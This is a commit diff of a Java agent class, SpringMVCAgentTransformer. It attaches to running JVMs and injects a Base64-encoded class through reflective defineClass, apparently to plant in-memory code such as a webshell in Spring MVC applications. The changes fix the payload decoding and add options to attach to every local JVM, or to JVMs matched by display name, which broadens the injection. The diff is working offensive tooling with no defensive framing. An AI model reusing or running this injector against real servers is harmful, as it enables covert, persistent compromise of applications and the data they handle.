17
17
import java .net .URL ;
18
18
import java .net .URLClassLoader ;
19
19
import java .security .ProtectionDomain ;
20
+ import java .util .ArrayList ;
20
21
import java .util .List ;
21
22
22
23
public class SpringMVCAgentTransformer implements ClassFileTransformer {
@@ -59,7 +60,7 @@ public byte[] transform(ClassLoader loader, String className, Class<?> classBein
59
60
" } catch (Throwable e) {\n " +
60
61
" Class base64Clazz = Class.forName(\" java.util.Base64\" );\n " +
61
62
" Object decoder = base64Clazz.getMethod(\" getDecoder\" , null).invoke(base64Clazz, null);\n " +
62
- " byteArray = (byte[]) base64Clazz. getMethod(\" decode\" , new Class[]{byte[] .class}).invoke(decoder, new Object[]{injectorCode});\n " +
63
+ " byteArray = (byte[]) decoder.getClass(). getMethod(\" decode\" , new Class[]{String .class}).invoke(decoder, new Object[]{injectorCode});\n " +
63
64
" }\n " +
64
65
" java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n " +
65
66
" java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\" defineClass\" , new Class[]{byte[].class, int.class, int.class});\n " +
@@ -132,22 +133,45 @@ public byte[] transform(ClassLoader loader, String className, Class<?> classBein
132
133
133
134
}
134
135
136
+ /*
137
+ 参数说明见 TomcatAgentTransformer
138
+ */
135
139
public static void main (String [] args ) throws Exception {
136
- String jvmProcessId = null ;
137
140
if (args .length == 0 ) {
138
- // 列出所有 pid
139
141
listAllJvmPids ();
140
- } else {
141
- try {
142
- Integer . parseInt ( args [0 ]) ;
143
- jvmProcessId = args [ 0 ];
144
- attachAgentToTargetJvm ( jvmProcessId );
145
- } catch ( NumberFormatException e ) {
146
- throw new IllegalArgumentException ( "Argument must be an integer representing a JVM process ID" );
142
+ }
143
+ else if ( args . length == 1 ) {
144
+ String arg = args [0 ];
145
+ if ( arg . equalsIgnoreCase ( "all" )) {
146
+ for ( String jvmProcessId : getAllJvmPids ()) {
147
+ attachAgentToTargetJvm ( jvmProcessId );
148
+ }
147
149
}
150
+ else {
151
+ try {
152
+ Integer .parseInt (arg );
153
+ attachAgentToTargetJvm (arg );
154
+ }
155
+ catch (NumberFormatException e ) {
156
+ for (String jvmProcessId : getJvmPidsByDisplayName (arg )) {
157
+ attachAgentToTargetJvm (jvmProcessId );
158
+ }
159
+ }
160
+ }
161
+ } else {
162
+ throw new IllegalArgumentException ("Too many arguments. Expected none, 'all', a JVM process ID, or a displayName." );
148
163
}
149
164
}
150
165
166
+ public static List <String > getAllJvmPids () throws Exception {
167
+ List <String > pids = new ArrayList <>();
168
+ for (Object vm : vms ) {
169
+ Method getId = virtualMachineDescriptorClass .getDeclaredMethod ("id" );
170
+ String id = (String ) getId .invoke (vm );
171
+ pids .add (id );
172
+ }
173
+ return pids ;
174
+ }
151
175
152
176
public static void listAllJvmPids () throws Exception {
153
177
for (Object vm : vms ) {
@@ -159,6 +183,23 @@ public static void listAllJvmPids() throws Exception {
159
183
}
160
184
}
161
185
186
+ public static List <String > getJvmPidsByDisplayName (String displayName ) throws Exception {
187
+ List <String > pids = new ArrayList <>();
188
+ for (Object vm : vms ) {
189
+ Method displayNameMethod = virtualMachineDescriptorClass .getMethod ("displayName" );
190
+ String currentDisplayName = (String ) displayNameMethod .invoke (vm );
191
+ System .out .println (currentDisplayName );
192
+ System .out .println (displayName );
193
+ System .out .println ();
194
+ if (currentDisplayName .toLowerCase ().contains (displayName .toLowerCase ())) {
195
+ Method getId = virtualMachineDescriptorClass .getDeclaredMethod ("id" );
196
+ String id = (String ) getId .invoke (vm );
197
+ pids .add (id );
198
+ }
199
+ }
200
+ return pids ;
201
+ }
202
+
162
203
private static void attachAgentToTargetJvm (String targetPID ) throws Exception {
163
204
String agentFilePath = new File (SpringMVCAgentTransformer .class .getProtectionDomain ().getCodeSource ().getLocation ().getPath ()).getCanonicalPath ();
164
205
infoLog ("Current agent path: " + agentFilePath );
0 commit comments